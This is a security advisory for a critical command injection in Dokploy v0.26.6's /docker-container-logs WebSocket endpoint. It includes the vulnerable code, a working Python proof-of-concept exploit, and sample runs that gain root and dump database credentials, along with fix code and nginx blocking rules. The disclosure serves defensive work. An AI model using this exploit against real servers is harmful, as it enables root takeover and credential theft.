Skip to content

Command Injection in /docker-container-logs Endpoint

Critical
Siumauricio published GHSA-wmqj-wr9q-327p May 11, 2026

Package

No package listed

Affected versions

v0.26.6

Patched versions

None

Description

Command Injection in /docker-container-logs Endpoint

Summary

Dokploy v0.26.6 contains a command injection vulnerability in the /docker-container-logs WebSocket endpoint. The tail and since parameters are not validated and are directly concatenated into shell commands, allowing authenticated users to execute arbitrary commands with root privileges.

Severity

CRITICAL (CVSS 9.9)

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Affected Versions

  • Dokploy v0.26.6 (latest version)

Technical Details

Vulnerable Code

File: apps/dokploy/server/wss/docker-container-logs.ts

// Line 32-36: No validation for tail and since parameters
const tail = url.searchParams.get("tail");
const since = url.searchParams.get("since");

// Line 114-122: Direct concatenation into shell command
const baseCommand = `docker container logs --timestamps --tail ${tail} --since ${since} --follow ${containerId}`;

// Line 123: Executed via shell
const ptyProcess = spawn(shell, ["-c", command], {...});

Proof of Concept

#!/usr/bin/env python3
import asyncio
from urllib.parse import quote
import websockets

async def exploit(target, cookie, cmd):
    payload = f"10; {cmd}; #"
    uri = f"{target.replace('http','ws')}/docker-container-logs?containerId=dummy&tail={quote(payload)}"

    async with websockets.connect(uri, additional_headers={"Cookie": cookie}) as ws:
        output = ""
        while True:
            try:
                output += await asyncio.wait_for(ws.recv(), timeout=2)
            except asyncio.TimeoutError:
                break
        return output

# Usage: python3 poc.py http://target:3001 "better-auth.session_token=xxx" whoami

Exploitation

# Execute whoami
$ python3 poc.py http://localhost:3001 "cookie" whoami
root

# Steal database credentials
$ python3 poc.py http://localhost:3001 "cookie" "env | grep DATABASE"
DATABASE_URL=postgresql://dokploy:dokploy123@postgres:5432/dokploy

Command Execution Flow

1. Attacker payload: tail=10; whoami; #
2. Command constructed: "docker container logs --timestamps --tail 10; whoami; # --follow dummy"
3. Bash interprets:
   - docker container logs --timestamps --tail 10  (fails)
   - whoami                                         (executes successfully)
   - # --follow dummy                               (commented out)
4. Result: root

Impact

  • Remote Code Execution: Execute arbitrary commands as root
  • Credential Theft: Steal database passwords and API keys
  • Full System Compromise: Complete control over the server
  • Container Escape Risk: Docker socket is mounted

Fix

Required Changes

File: apps/dokploy/server/wss/docker-container-logs.ts

// Add validation functions
const isValidTail = (tail: string): boolean => {
    return /^\d+$/.test(tail) && parseInt(tail) <= 10000;
};

const isValidSince = (since: string): boolean => {
    return since === "all" || /^\d+[smhd]$/.test(since);
};

// Apply validation
wssTerm.on("connection", async (ws, req) => {
    const containerId = url.searchParams.get("containerId");
    const tail = url.searchParams.get("tail") || "100";
    const since = url.searchParams.get("since") || "all";

    if (!containerId || !isValidContainerId(containerId)) {
        ws.close(4000, "Invalid container ID");
        return;
    }

    if (!isValidTail(tail)) {
        ws.close(4000, "Invalid tail parameter");
        return;
    }

    if (!isValidSince(since)) {
        ws.close(4000, "Invalid since parameter");
        return;
    }

    // Use parameter array instead of string concatenation
    const args = ["container", "logs", "--timestamps", "--tail", tail];
    if (since !== "all") args.push("--since", since);
    args.push("--follow", containerId);

    const ptyProcess = spawn("docker", args, {...});
});

Workarounds

Block the endpoint (Nginx)

location /docker-container-logs {
    deny all;
    return 403;
}

Restrict to internal network only

location /docker-container-logs {
    allow 192.168.1.0/24;
    deny all;
    # ... proxy config
}

References

  • Previous fix: GHSA-vx6x-6559-x35r
  • CWE-78: OS Command Injection
  • CWE-20: Improper Input Validation

Timeline

  • 2026-01-27: v0.26.6 released with partial fix
  • 2026-01-30: Incomplete validation discovered
  • TBD: Coordinated disclosure
  • TBD: Patch release in v0.26.7

Credits

Discovered by:JD-Security SHENYI Team

Date: January 30, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-45633

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits